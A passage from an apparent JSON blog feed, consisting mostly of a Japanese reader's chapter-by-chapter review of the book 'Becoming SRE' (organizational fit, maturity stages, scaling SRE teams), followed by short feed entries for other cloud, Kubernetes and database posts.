reviewに偏重し、ソフトウェアライフサイクル全体への関与が疎かになる。crisisの対応に明け暮れ、smokejumperに成り下がる。SREがただの「エンジニア」とみなされ、開発チームに引き抜かれる。こうした兆候は、SREの価値を大きく毀損してしまうリスクを孕んでいます。とはいえ、SRE導入の道のりが平坦ではないことは、私自身、身をもって実感しているところです。大切なのは、地道な改善の積み重ねを通じて、組織にSREの存在価値を示し続けること。 オンコールの引き受けから始まった関係が、pull requestを通じた開発への貢献へと深化していく。モニタリングの指標がチームの共通言語となり、障害が減っていく。そうした目に見えるインパクトを着実に生み出していくことが、SREの評価を高める近道になるのだと感じました。全体を通して、体系立てて信頼性向上に取り組む上で、The Dickerson Hierarchy of Reliabilityが強力な羅針盤になり得ることを実感した章でした。 網羅的とは言えないまでも、スタートダッシュを切る上での重要な指針が凝縮されていると感じます。SREの真骨頂は試行錯誤にありただ、マニュアル通りにここまでやればOKというものでもないのがSREの面白さでもあります。 各組織のコンテキストに合わせて、創意工夫を重ねながら、hierarchy外の領域にもフロンティアを広げていく。その探究心こそが、SREたるゆえんなのかもしれません。私自身、ここ数年、監視基盤の整備や、incident responseの体制づくりに注力してきました。今後は、そこで得た知見を開発プロセスにも反映させつつ、proactiveなケイパシティプランニングにも踏み出していきたいと考えています。その過程では、様々な試行錯誤を重ねることになるでしょう。ただ、その試行錯誤こそがSREの真骨頂だと信じています。 ピラミッドを一歩ずつ登りながら、いつの日か、その頂へと辿り着けるよう、これからも研鑽を積んでいきたいと思います。Figure 14-1. Slightly modified version of the Dickerson Hierarchy of Reliability より引用著者が最後に投げかけてくれた「SREがうまくいっている兆候」も、私にとって大きな励みになりました。自分たちの存在が当たり前のように受け入れられ、モニタリングの指標が部門の共通言語になり、開発への貢献が目に見える形で認められる。そんな日が来るまで、地道に信頼性向上の階段を上っていきたいと思います。The Dickerson Hierarchy of Reliabilityは、SREという旅路に不可欠な道標だと感じました。 ただ、その先に広がるのは、各組織が切り拓くオリジナルのロードです。ゴールのない旅だからこそ、一歩一歩を大切にしながら、信頼性というバトンを手渡していく。私もその輪の中で、自分なりの道を見出していけたらと思います。Chapter 15. Fitting SRE into Your OrganizationSREの導入には組織のカルチャーや構造とのフィット感が重要本章は、SREを組織に導入する際の実践的な指針を提示してくれた章でした。SREの導入は、単なる技術的なプラクティスの適用にとどまらず、組織のカルチャーや構造とのフィット感を意識しながら、戦略的に進めていく必要があるのだと実感させられました。特に印象に残ったのは、SREの導入に際して、いきなり専任チームを立ち上げるのではなく、まずはSREの考え方や手法を、日々の業務の中で部分的に試してみることを推奨している点です。 例えば、サービスのSLI/SLOを定義してみる、ポストモーテム分析のやり方を見直してみるなど、小さな一歩から始められます。そうした草の根の取り組みを通じて、SREのメリットを組織に示しつつ、本格的な導入への足がかりを作っていく。地に足のついた漸進的なアプローチだと感じました。もちろん、環境次第では、いきなりSREチームが編成されたり、M&Aを通じてSREが編入されたりすることもあるでしょう。 そうした状況でも、SREの働き方を「実験」と位置づけ、仮説検証を重ねながら、最適解を模索していくマインドセットが大切だと述べられています。完璧なモデルなんてないのだから、試行錯誤を恐れずに、組織にフィットする形を追求していこうと。アジャイル的な考え方に通底するものを感じました。また、SREの組織的な位置づけについても、良い議論がありました。 中央集権型、分散型、ハイブリッド型の3つのモデルが紹介され、それぞれの長所と短所が丁寧に分析されています。組織の規模や成熟度、過去の前例などを考慮しつつ、自社に合ったモデルを選ぶ必要があるのだと。ただ、どのモデルを選ぶにしても、開発チームとSREチームが協調的に連携し、継続的な改善を推進できる体制を築くことが肝要だと強調されていました。そして、SREの真価は、組織内にフィードバック ループを張り巡らせ、回し続けることにあると著者は力説しています。 モニタリングや障害分析、カスタマーサポートのチケットなど、あらゆるデータをループの起点にできます。そこから学びを得て、システムを改善する。その改善が新たなデータを生み、さらなる学びにつながる。そんな好循環を生み出し、加速させていくことこそが、SREに期待される役割なのです。そのためには、データへのアクセス性を高め、部署間のコラボレーションを促し、改善業務をロードマップに組み込む努力も欠かせません。地道ながらも着実な一歩を重ねることで、徐々にフィードバックの文化が組織に根付いていくのだと感じました。さらに、SREがシステム開発の初期段階から関与し、「ゴールデンパス」と呼ばれる信頼性の高い設計を織り込んでいくことの重要性も説かれていました。 開発チームと二人三脚で課題解決に当たれば、SREの存在価値を浸透させやすくなります。単に既存システムの問題を後追いするのではなく、要件定義の段階からSREの知見を活用する。それこそが、本来あるべきSREの姿なのかもしれません。一方で、著者はSREの導入が軌道に乗っているかを測る「サインポスト」についても言及しています。 SREチームがゲートキーパー的な立場から脱却できているか。開発チームから自発的にSREの関与を求められるようになったか。ロードマップ策定にSREが参画できているか。リアクティブな仕事が減り、プロアクティブな改善が増えているか。そうした兆候は、SREが組織に根付きつつあることを示唆するバロメーターになるはずです。全体を通して、SREの導入は単なるエンジニアリング手法の変更ではなく、組織文化そのものの変革だと実感させられました。 信頼性を重視する価値観、学習と改善を尊ぶ姿勢、部門の壁を越えた協働。そうしたマインドセットを組織の隅々にまで浸透させていく営みが、SREの真髄なのだと。気を整え 拝み 祈り 構えて 突くもちろん、それは一朝一夕で成し遂げられるものではありません。適切なモデル選択に始まり、土壌づくり、フィードバックループの確立、協調的な文化の醸成に至るまで、多岐にわたる課題にじっくりと向き合う必要があります。 技術的なスキルに加え、コミュニケーション力、調整力、課題発見力など、エンジニアリング以外の資質も問われるでしょう。ただ、だからこそ、SREの可能性は無限に広がっていると感じています。従来の枠を越えて、開発とオペレーション、ビジネスとエンジニアリングの架け橋となる。変化を恐れず、失敗から学びながら、より高い信頼性を追求していく。DX時代のビジネスを支える屋台骨を作り上げていく。 それは、私たちソフトウェアエンジニアに託された、困難だけれどもやりがいに満ちたミッションではないでしょうか。本章で提示された知見を道標に、自分なりのSREを模索する旅を続けていきたいと思います。技術とプロセスと文化が三位一体となった、真に強靭な組織を目指して。時には試行錯誤を重ねながらも、仲間やお客様とともに一歩ずつ前進していく所存です。データに基づく意思決定の習慣を根付かせるSREの実践SREの実践は、組織に新たな風を吹き込む触媒になるはずです。データに基づく意思決定の習慣、継続的な改善のサイクル、部門を越えた活発な議論。そうした文化が根付けば、システムの信頼性を高めるだけでなく、ビジネス全体の俊敏性と回復力を引き上げることができるでしょう。 外的な変化への適応力を武器に、競争を勝ち抜いていく。そんな強靭な組織をエンジニアリングの力で実現する。それこそが、DX時代におけるSREの使命だと感じています。もちろん、そこに至る道のりは平坦ではありません。従来の仕事のやり方を変えることへの抵抗、部門間の壁、複雑に絡み合ったレガシーシステム。SREの導入を阻む要因は、組織に深く根を下ろしています。それでも、私たちには武器があります。 学習と適応の文化を組織に根付かせる力、データの言葉で説得する力、人と人をつなぎ共感を生む力。SREに不可欠なのは、技術的なスキルに留まらない、そうした総合的な力なのだと信じています。この章を読み、改めてSREの意義と価値を再認識するとともに、その実現の難しさにも思いを馳せました。とはいえ、困難があるからこそ、そこに果敢に挑戦する意味があるのかもしれません。ソフトウェアエンジニアとして、ビジネスパーソンとして、時にはカウンセラーとして。 様々な顔を使い分けながら、組織にSREの種を蒔いていく。失敗を恐れず、仮説検証を重ねる。その積み重ねの先に、真に信頼性の高い組織と、自分自身の成長が待っているはずです。それは、GoogleやFacebookの真似をすることでは決して達成できない、自分たちオリジナルのSREへの旅になるでしょう。一筋縄ではいかない難題にも、仲間と知恵を出し合いながら、前向きに取り組んでいきたい。組織への共感を武器に、技術の力でレガシーな体質を変革していく。 そんなSREの理想図を胸に、今日も私は一歩を踏み出します。カイゼン・ジャーニー たった1人からはじめて、「越境」するチームをつくるまで作者:市谷 聡啓,新井 剛翔泳社AmazonChapter 16. SRE Organizational Evolutionary StagesSREは組織全体のマインドセットと文化の変革を必要とする本章は、SRE組織の成熟度モデルを提示することで、各組織がSREの導入と定着においてどの段階にあるのかを見定め、次のステップに進むための指針を示してくれる、良い章でした。SREは、単に技術的なプラクティスを導入すれば完成するものではありません。組織全体のマインドセットと文化を変革していく、息の長い取り組みだと改めて認識させられました。SRE ではないのですがCloud Native Computing Foundation(CNCF)も成熟度に関する「クラウドネイティブ成熟度モデル」のドキュメントをWebサイトで公開したり。Googleさん やサイバーエージェントさんがそれぞれ、公開していたりもします。※登壇したりしてました speakerdeck.comSRE組織の5段階の成熟度モデル私が特に印象に残ったのは、著者が提示した SRE組織の5段階の成熟度モデル です。Stage 1: The Firefighter:消防士Stage 2: The Gatekeeper:ゲートキーパーStage 3: The Advocate:提唱者Stage 4: The Partner:パートナーStage 5: The Engineer:エンジニアこの分かりやすいフレームワークは、自組織のSREの取り組みを客観的に評価し、次のステージに進むための課題を明らかにする上で、強力なツールになるはずです。Chapter 16 \\"SRE Organizational Evolutionary Stages\\"は、SRE組織の成熟度を5つのステージで捉えた、良いフレームワークを提示してくれました。著者のBenjamin Purgasonは、自身の経験から導き出したこのモデルを通じて、SRE組織が辿る進化の道筋を明らかにしています。まず、ほとんどのチームが通過する ステージ1の「消防士」について、印象深い指摘がありました。 このフェーズでは、SREチームは日々発生する信頼性の問題に追われ、火消しに明け暮れます。重大な障害を食い止めるために、泥臭い努力を重ねる毎日。著者はこの状態からの脱却に、早くて数ヶ月、通常は数年かかると述べています。 つまり、SREチームの多くが不可避的に通る、苦難と忍耐の時期なのです。ただし、その間もただ受け身になっているだけではいけません。著者は、火事の合間を縫って、システムの理解を深めたり、「自動消火システム」を整備したりすることの重要性を説いています。 例えば、オートスケーリングの導入、負荷分散の最適化、自動フェイルオーバーの仕組み作りなど。泥沼から這い上がるために、地道な改善を積み重ねる。そうした努力なくして、次のステージへの移行は望めないのです。ステージ2の 「ゲートキーパー」における議論です。 ここでは、SREチームが変更管理の判定者や実行者となり、開発チームとの軋轢を生むリスクが指摘されています。プロダクションを守るためとはいえ、長期的に見れば、SREがゲートキーパーに留まるのは得策ではありません。開発者を不快にさせ、コラボレーションを阻害し、生産性を損なう。 そんな事態を招かないためにも、ゲートキーピングを自動化し、開発者と協調的な関係を築くことが肝要なのだと説かれていました。ステージ3の 「提唱者」 における「インテリジェントなリスクを後押しするツールの構築」 という発想も印象的でした。ダッシュボードやスコアカードを通じて十分なコンテキストを提供することで、現場の全社員が賢明な意思決定を下せるようにする。管理統制に頼るのではなく、「文脈」を武器に、自律的な判断を促していく。そんなSREの在り方に、大いに共感を覚えました。ステージ4の「パートナー」では、SREと開発者の関係が、真の協働へと昇華していきます。 単に役割分担するだけでなく、ロードマップや計画策定から一緒に取り組む。SREは信頼性に関わる共通基盤の構築に注力し、開発者はその恩恵に与りつつ、より高い信頼性を追求していく。そこには、対等なパートナーとしての関係性が育まれているのです。SREと開発者が心を一つにして、高い理想に向かって邁進する。そんな姿は、まさにSREのあるべき姿だと感じました。ステージ5の「エンジニア」の段階になると、SREと開発者の区別はほぼ無くなります。 全てのエンジニアが、システムのライフサイクル全体を通して、信頼性向上に資する活動に自発的に取り組むようになる。もちろん、SREは信頼性に特化した責務を担い続けますが、開発者との間に高度な結束と協調が生まれているのです。理想の姿ではありますが、インセンティブと組織構造のアラインメントによって、現実にも起こり得る。そう信じさせてくれる、野心的なビジョンだと感じ入りました。一方で、著者が述べているように、これらのステージは直線的なものではなく、行きつ戻りつするものだと肝に銘じる必要がありそうです。 火事は常に起こり得るし、ゲートキーピングの誘惑に駆られることもあるでしょう。重要なのは、理想のステージを意識しつつも、現実と折り合いをつけながら、地道にSREを根付かせていくこと。そのためには、各チームの置かれた状況に即して、適切なステージを見極める眼力も問われるはずです。全体を通して、SREの組織的な浸透は一朝一夕で成し遂げられるものではなく、泥臭い試行錯誤の連続であることを実感させられました。 技術的なスキルに加え、対人関係力、変革マネジメント力など、エンジニアリング以外の資質も問われる。一筋縄ではいかない難題にも、課題を正面から見据え、仲間と知恵を出し合いながら、一つ一つ解決していく。そうした地道な営みの先に、SREが組織に真に根付いた姿が待っているのだと信じたいと思います。私自身、まだ駆け出しのSREですが、このモデルを道標として、SREの理想形を模索していきたいと思います。消防活動に明け暮れる日々から脱却し、開発者との建設的な協働関係を築き、いつの日か高度な結束が生まれる段階へ。 そこに至るまでの道のりは決して平坦ではないでしょう。それでも、信頼性の大義を胸に、仲間とともに前を向いて歩んでいく所存です。SREの真髄は組織文化の変革にある本章のエッセンスは、「SREは単なる技術の問題ではなく、むしろ組織文化の問題である」という一点に集約されるのかもしれません。 信頼性を重視するマインドセット、学習と成長を称揚する雰囲気、自発的なコラボレーションを促す仕組み。そうした目に見えない基盤を地道に築くことなくして、真のSREは宿らない。だからこそ、私たちには技術者としてのスキルと並んで、文化の耕し手としてのセンスが求められているのだと。この辺は運用技術者組織の設計と運用 / Design and operation of operational engineer organizationやエンジニア組織論への招待を読むと良さそうなので記載しておく。 speakerdeck.comエンジニアリング組織論への招待 ~不確実性に向き合う思考と組織のリファクタリング作者:広木 大地技術評論社AmazonChapter 17. Growing SRE in Your OrgSREの成長は「大きいほど良い」とは限らない本章は、組織の中でSREをどのように成長させていくかについて、著者の豊富な経験と知見に基づいて解説した、良い章でした。SREは、単に技術的なプラクティスを導入すれば完成するものではありません。組織の規模や成熟度に応じて、戦略的に育てていく必要があるのだと改めて認識させられました。組織戦略の考え方 ――企業経営の健全性のために (ちくま新書)作者:沼上幹筑摩書房Amazon印象に残ったのは、著者が 「SREの規模拡大は、必ずしも『大きいほど良い』とは限らない」 と警鐘を鳴らしている点です。SREチームの規模を際限なく大きくすることが目的化してしまうと、かえって非効率を招く恐れがあります。大切なのは、組織のコンテキストに即して、適切な規模と体制を追求していくこと。 そのためには、チームの分割や再編成を恐れず、フットワークの軽さを保つ柔軟性も求められるでしょう。SREチームの規模感について、著者は具体的な数字を提示しています。SREが組織に導入された初期段階では、わずか1人から6人程度のチームで始めることが多いそうです。 この時期は、SREの考え方や手法を部分的に試すフェーズ。小さな成功体験を積み重ねながら、徐々に組織への浸透を図っていきます。モニタリングの改善、SLO/SLIの設定、ポストモーテム分析の実践など、できることから着手するのです。SREの組織の規模による分類チームの規模が6人から18人に拡大すると、オンコール体制の整備が本格化します。 健全なワークライフバランスを保ちつつ、24時間365日の監視を実現するには、最低でも18人は必要だと著者は指摘しています。この規模になると、役割の細分化も進み、メンバーそれぞれの専門性を活かした活動が可能になります。ただし、チームの一体感を保ち、ナレッジの共有を促進する工夫も欠かせません。さらにチームが48人規模に拡大すると、SREはもはや1つのチームではなく、複数のチームから成る組織体となります。 ここからは、各チームの役割分担や連携の在り方が問われるフェーズ。サービス領域ごとの専門チーム、共通基盤の開発に特化したチーム、ツール整備に注力するチーム、現地に密着した分散型チーム。 組織のニーズに応じて、最適な体制を模索していく必要があります。同時に、SREの理念や価値観を浸透させ、統一感を保つための仕掛けづくりも欠かせません。そして、SRE組織が100人を超える規模になると、専門性と融合のバランスを取るハイブリッド型の組織設計が求められると著者は説きます。 機能領域や技術領域ごとの深い専門性を追求しつつ、部門を越えた協調を促す枠組み。プロセス改善を担うSREチーム、全社的なプラットフォームを整備するSREチーム。多様性と統一性を両立する、柔軟な組織マネジメントが問われるフェーズだと言えるでしょう。この先のさらなる成長ステージでは、SREがプラットフォームエンジニアリングの領域にも踏み込んでいくビジョンが示唆されていました。システムを支える基盤的なライブラリやフレームワークを自ら開発し、組織全体の開発力を底上げしていく。 そこまで至れば、SREは組織のエンジニアリング文化そのものを形作る存在になるはずです。もちろん、それは容易な道のりではありません。でも、その理想に向かって一歩ずつ前進していく。それこそが、志高きSREチームの使命なのかもしれません。DXを成功に導くクラウド活用推進ガイド CCoEベストプラクティス作者:黒須 義一,酒井 真弓,遠山 陽介,伊藤 利樹,饒村 吉晴日経BPAmazon一方で、著者は 「SREは融合と結束の担い手でなければならない」 と強調しています。組織が大きくなればなるほど、分断と分散のリスクは高まります。技術選定の方針、プロセスの標準化、文化的な価値観。チームによってバラバラになってしまっては、SREの真価は発揮できません。だからこそ、differences(違い)は認めつつ、deindividualization(個性の喪失)は避ける。多様性を尊重しつつ、共通の目標に向かって結束する。そんな組織デザインのセンスが、SREリーダーには強く求められるのです。さらに、著者は 「SREの技術的スケールだけでなく、リーダーシップの規模拡大にも目を向けるべき」 だと訴えかけています。トップマネジメントの意思決定の場に、SREの視点が適切に反映される体制を整えること。それは、SREの組織的な浸透を支える大前提だと。単に人数を増やすだけでなく、価値観を共有し、変革を牽引する存在として、力強くスケールしていく。 そんなSREリーダーの姿が思い描かれていました。SREが組織の風土に合わせて多様な形で発展していく本章を読み終えて、私はSREという職能の奥深さを改めて実感しました。技術的な側面だけでなく、組織デザイン、リーダーシップ、文化の醸成など、実に多様な顔を持ち合わせている。 だからこそ、SREのスケールは単線的なものではなく、状況に応じた柔軟な判断が求められるのだと。「組織の成長に合わせて、SREも共に進化していく」。そんな著者の言葉が強く印象に残りました。もちろん、その道のりは平坦ではありません。SREの価値への理解不足、既存の体制への固執、変化への抵抗。スケールの障壁は数多く立ちはだかるでしょう。それでも、信念を持って粘り強く向き合っていく。泥臭い説得を重ね、地道な実績を積み上げ、仲間を巻き込みながら、少しずつ前に進んでいく。 私はそれこそが、志あるSREリーダーの真の姿なのだと感じています。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon本章は、SREの組織的な拡がりについて、体系的な知見を提供してくれる、良い内容でした。単に数合わせでスケールするのではなく、組織のコンテキストを見極め、長期的な視点で育てていく。 技術と組織と文化をバランス良く強化し、全社的な変革を促していく。これからのSREリーダーには、そんな繊細かつ大胆なアプローチが求められているのだと実感させられました。エンジニアの端くれとして、組織論や文化論に首を突っ込むのは、少し居心地の悪さを感じるかもしれません。でも、それこそがSREの醍醐味であり、やりがいなのだと信じています。技術の力で勝ち得た信頼を武器に、組織に新しい風を吹き込んでいく。 そいう姿勢を問われている気がしました。Chapter 18. ConclusionSREの本質はシステムの信頼性という崇高な目標にある『Becoming SRE』の最終章である第18章「Conclusion」は、読者への感謝と別れの言葉から始まります。著者のDavid Blank-Edelman氏は、SREの本質をコンパクトに凝縮しつつ、読者を新たな旅立ちへと送り出そうとしています。その語り口は、まるで優しい師が弟子に最後の教えを授けるかのようです。この章で改めて強調されているのは、SREが目指す「システムの信頼性」という崇高な目標です。それは、個人としても、組織としても、他者と協調しながら追求していくべき理想だと。特定のマインドセットと文化を共有し、周到な準備を重ねたSREたちが、組織の支援を得ながら、様々なスケールでその理想を実現していく。SREの真髄は、まさにそこにあるのだと著者は説いています。SREは素晴らしくやりがいある仕事そして、著者は 「SREの仕事はfun(楽しい)であり、rewarding(やりがいがある)」 と力説します。もちろん、常にそうとは限りません。難しい局面に直面することもあるでしょう。でも、総じて素晴らしい仕事だと。信頼性という難問に立ち向かい、仲間とともに現実に意味のあるインパクトを残せる。 そのチャレンジは、けして退屈ではあり得ないのだと。読者にSREへの情熱の一端でも伝われば幸いだと、著者の想いが伝わってきます。おわりにSREは技術を超え組織文化そのものを変革していく『Becoming SRE』を読み終え、SREという職能の奥深さと広がりを新たに感じました。David Blank-Edelman氏は、SREが技術を超え、組織文化そのものを変革していく役割を果たすことを鮮明に描いています。本書を通じて、システムの信頼性を追求するミッション、必要なマインドセットとスキル、そしてその知見が組織内に浸透し定着するまでの過程が体系的かつ実践的に語られました。SREの役割は単に技術的な問題を解決するだけではなく、信頼性という難題に直面し、それに対峙しながら仲間と共に粘り強く取り組むことにあります。これは、エンジニアリングの枠を超えた、大きなやりがいを提供します。しかしながら、SREへの道は容易ではありません。個人と組織の両方で、多くの障壁に直面することがあります。本書は、フィードバックループの重要性、障害から学ぶ文化、コラボレーションの極意など、困難を乗り越えるための具体的な方法を提供しています。これらの知見は、SREとして成長するためのサポートとなるでしょう。そして、SREの醍醐味とその意義を再確認することができました。著者が指摘するように、SREの究極の目的はシステムの信頼性を通じて人々に価値を提供することにあります。日々の挑戦と探求の精神が、SREの本質です。SREsのためのSRE定着ガイドからの引用ではありますが外部リソースの注入は、SREの実践において選択肢の一つとして考えられます。重要なのは、前提として、自分たちでやりきれるならその方が良いということです。『Becoming SRE』の教訓にもあるように、SREは技術的な問題解決だけでなく、組織文化の改善やビジネス価値の向上を目指します。しかし、定点観測のような繰り返しの作業や、組織内変化の促進に際して、内部ではやりきれずに外部エキスパートの助言が必要となる場合もあります。例えば、nwiizoが所属している3-ShakeやX-Tech5、Topotal、などの外部のサービスや専門家を利用することは、新たな視点をもたらし、特定の課題に対して効果的な戦略を実施する支援を提供できます。しかし、これはプロジェクトや組織によっては、改善を目指す一つの方法であることを忘れずに。SREの目指すところは、あくまで内部の力で課題を乗り越え、成長することにあります。外部リソースの活用は、そのプロセスを補助する手段の一つとして考えるべきでしょう*1https://ja.wikipedia.org/wiki/%E5%BA%83%E5%91%8A。SREの旅に終わりはない最後に、SREの旅に終わりはありません。著者が贈るメッセージ、「大切なのは、その旅を楽しみ、学び続けること」を胸に、私たちも一歩一歩前進していきましょう。外部リソースの適切な活用は、その旅をより豊かで有意義なものにする一助となるでしょう。今回の本の内容要約においては、「A. Letters To A Young SRE」「B. Advice From Former SREs」「C. SRE Resources」という付録の部分のはレビューの対象とはしていませんでした。これらの部分には、SREを志す若者への手紙、経験豊富なSREからのアドバイス、SREのための参考資料など、非常に興味深い内容が含まれています。ご紹介できなかったのは残念ですが、本書の中核をなす部分に注力するために割愛させていただきました。 もしこの先SREの道に進まれる際には、ぜひこれらの付録もじっくりと読まれることをおすすめします。きっと、SREとしての歩みを確かなものにしてくれるはずです。この学びを糧に、今日も信頼性という難問に立ち向かっていきます。「Fun:楽しむ」と「Rewarding:やりがいのある」を胸に、SREの醍醐味を味わいつつ。最後になりましたが、素晴らしい書を生み出してくれた著者のDavid Blank-Edelman氏に、心からの感謝を捧げたいと思います。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。*1:広告","link":"https://syu-m-5151.hatenablog.com/entry/2024/04/08/165909","isoDate":"2024-04-08T07:59:09.000Z","dateMiliSeconds":1712563149000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"[Kubecon EU 2024: Cloud Native AI Day] Pods Everywhere! InterLink: A Virtual Kubelet Abstraction Streamlining HPC Resource Exploitation の紹介","contentSnippet":"はじめに INFNというイタリア国立核物理学研究所のメンバーであるディエゴさんが、「パブリッククラウド、オンプレミスの異種シミュレーション環境において、インターフェースの統一を目的としたプロジェクト」の紹介をするセッショ […]The post [Kubecon EU 2024: Cloud Native AI Day] Pods Everywhere! InterLink: A Virtual Kubelet Abstraction Streamlining HPC Resource Exploitation の紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubecon-eu-2024-pods-everywhere-interlink-a-virtual-kubelet-abstraction-streamlining-hpc-resource-exploitation/","isoDate":"2024-04-08T03:46:21.000Z","dateMiliSeconds":1712547981000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Shinyをバックグラウンドで起動する","contentSnippet":"先週、felp v0.4.0をリリースしました。このパッケージはShinyを使っていて、felp::fuzzyhelp()を実行すると、以下のように、ヘルプをあいまい検索できます。1からも起動できます。","link":"https://blog.atusy.net/2024/04/01/shiny-as-background-process/","isoDate":"2024-04-01T00:00:00.000Z","dateMiliSeconds":1711929600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PGUnconf #46 でPostgreSQL の開発するときにまず何からすればいいかを聞いてきた","contentSnippet":"PGUnconf #46 でPostgreSQL の開発するときにまず何からすればいいかを聞いてきた概要2024年3月23日に第46回 PostgreSQLアンカンファレンス@東京が開催されました。PostgreSQLアンカンファレンスは日本PostgreSQLユーザー会が主催するイベントでPostgreSQLユーザーはもちろん、PostgreSQLのコントリンビューターやコミッターも参加しているイベントです。その中でPostgreSQL メジャーコントリビューターであり、コミッターでもある@masahiko_sawadaさんが、PGConn 2024でMAKING POSTGRESQL HACKING MORE INCLUSIVEというセッションでPostgreSQLコミュニティーがどうすればより初心者にオープンになれるか? という内容でディスカッションするそうです。そこに向けてアイデアはあるか? 困ってることはないか? という相談? をされていました。経験豊富な方々は実践的な案を出していましたが、私はPostgreSQLにコードコントリビュートしたいけど何からすればいいのか分らないという状態だったのでこの機会に相談してみました。自分のレベル感Cはすこし読める。すこし書けるPostgreSQLのソースコードはsimple_query_execの関数をひととおり読んで、なんとなくどこで何しているか分かるPostgreSQLのメーリングリストはとりあえず入った何が分からなかったのか?そもそもPostgreSQLはメーリングリストとパッチの文化なのでGitHub/Labなどになれた身からするとよく分からないです。またGitHubで管理されているOSSでは良くあるgood first issueのようなものも存在しないため、新規参入者には難しいと感じていました。なにからすればいいのか?PGUnconfでは以下のようなアドバイスを受けました。チュートリアルをなぞってドキュメント通りに動かないものを修正する初心者向けコンテンツへの追記は初心者にしか出来ないので、是非おねがいしたいとのことでした既存のパッチで放置されているもの(Headでビルドできないようなもの)をアップデートするメーリングリストのディスカッションを眺めてネタを探す新規機能を試してバグをさがし、修正するCommitFestに参加するまとめ1のネタを探してみつつ、PostgreSQL17のリリースが近いので4に取りくんでみようと思います。","link":"https://nnaka2992.hatenablog.com/entry/zatu/20240323_pgunconf.md","isoDate":"2024-03-31T14:30:29.000Z","dateMiliSeconds":1711895429000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"新しくなった Workload Identity Federation for GKE を試してみる","contentSnippet":"はじめにGKE の Workload Identity 連携(Workload Identity Federation for GKE)がアップデートされたということで、早速試してみました。https://cloud.google.com/kubernetes-engine/docs/concepts/workload-identity#configure-workloads なにが変わったのかこれまで、GKE で Workload Identity 連携を使う場合、Google Cloud の Service Account(以降:GSA) を Kubernetes の ...","link":"https://zenn.dev/yokoo_an209/articles/new-workload-identity-federation-for-gke","isoDate":"2024-03-31T12:32:38.000Z","dateMiliSeconds":1711888358000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Terraform / GKE で実現する ExternalSecretOperator テンプレート","contentSnippet":"はじめにGKEのSecretの管理に External Secret Operator を利用することがありました。備忘も兼ねて、周辺知識も補足しながら、今後の使い回しのできるようにTerraform / GKEでのExternal Secret Operatorのテンプレートを作成しました。【前提】Cluster : GKE Autopilot 1.27GKEのWorkload Identityは有効化されているマニフェスト管理helm : helmfileIaC : Terraform今回は、Service Account キーの使用ではなく、W...","link":"https://zenn.dev/yokoo_an209/articles/external-secret-operator","isoDate":"2024-03-31T06:11:06.000Z","dateMiliSeconds":1711865466000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"BigQuery の Object テーブルと Gemini-pro-vision リモートモデルを使って pdf を要約してみる","contentSnippet":"概要pdf などの非構造化データを GCS に配置した際に BQ で分析するってどうすんねんというところをやってみる流れとしては以下を実施するpdf などを gcs に配置するBigQuery Connection の作成する必要な権限付与を行うBQ で Object テーブルを作成するBQ でリモートモデルを作成するObject テーブルを使って pdf の要約をする 必要なことBigQuery Connection API の有効化 手順 pdf などを GCS に配置するここは何も考えないで GCS に pdf を配置する例えば、今回...","link":"https://zenn.dev/satohjohn/articles/0cc45efca800e3","isoDate":"2024-03-30T17:44:21.000Z","dateMiliSeconds":1711820661000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"生成AIアプリケーションにおけるRAGとデータベースの役割","contentSnippet":"https://3-shake.connpass.com/event/311868/\\r3-SHAKE SRETTにて、生成AIのデータベースやストレージに関連した部分を発表。","link":"https://speakerdeck.com/shukob/sheng-cheng-aiahurikesiyonniokeruragtotetahesunoyi-ge","isoDate":"2024-03-29T04:00:00.000Z","dateMiliSeconds":1711684800000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"オシャレな図を書くために意識していること","contentSnippet":"","link":"https://speakerdeck.com/kojake_300/osiyarenatu-woshu-kutameniyi-shi-siteirukoto","isoDate":"2024-03-29T04:00:00.000Z","dateMiliSeconds":1711684800000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"2024-03-29 SRETT9 Cloud SQLの可用性について","contentSnippet":"","link":"https://speakerdeck.com/masasuzu/2024-03-29-srett9-cloudsqlnoke-yong-xing","isoDate":"2024-03-29T04:00:00.000Z","dateMiliSeconds":1711684800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"社内ChatBot (h1-slack-bot)にClaude\xa03を追加した話(+α)","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 この記事では、Anthro […]The post 社内ChatBot (h1-slack-bot)にClaude\xa03を追加した話(+α) first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/chatgpt-slack-integration-claude-3/","isoDate":"2024-03-29T02:50:00.000Z","dateMiliSeconds":1711680600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AWS EKSのNetwork Policyの動作と実装を確認してみる","contentSnippet":"はじめに2023年の9月にAWS EKSのCNIがNetwork Policyをサポートしました。ここで興味深いのが、Network Policyの実装にeBPFを使用していることです。今回は環境を構築して動作を確認しつつ、コントローラとeBPFの実装を見てみます。https://aws.amazon.com/jp/blogs/news/amazon-vpc-cni-now-supports-kubernetes-network-policies/ 環境構築と動作確認環境構築のためにAWSのblogに書かれているyamlファイルとeksctlでクラスタを作りました。c...","link":"https://zenn.dev/satoken/articles/eks-network-policy","isoDate":"2024-03-23T15:00:47.000Z","dateMiliSeconds":1711206047000,"authorName":"satoken","authorId":"satoken"},{"title":"ビットコイン・ブロックチェーン入門","contentSnippet":"初学者の方向けにビットコイン・ブロックチェーン技術の全体像をお話ししました。","link":"https://speakerdeck.com/shukob/hitutokoinhurotukutienru-men","isoDate":"2024-03-22T04:00:00.000Z","dateMiliSeconds":1711080000000,"authorName":"Shu 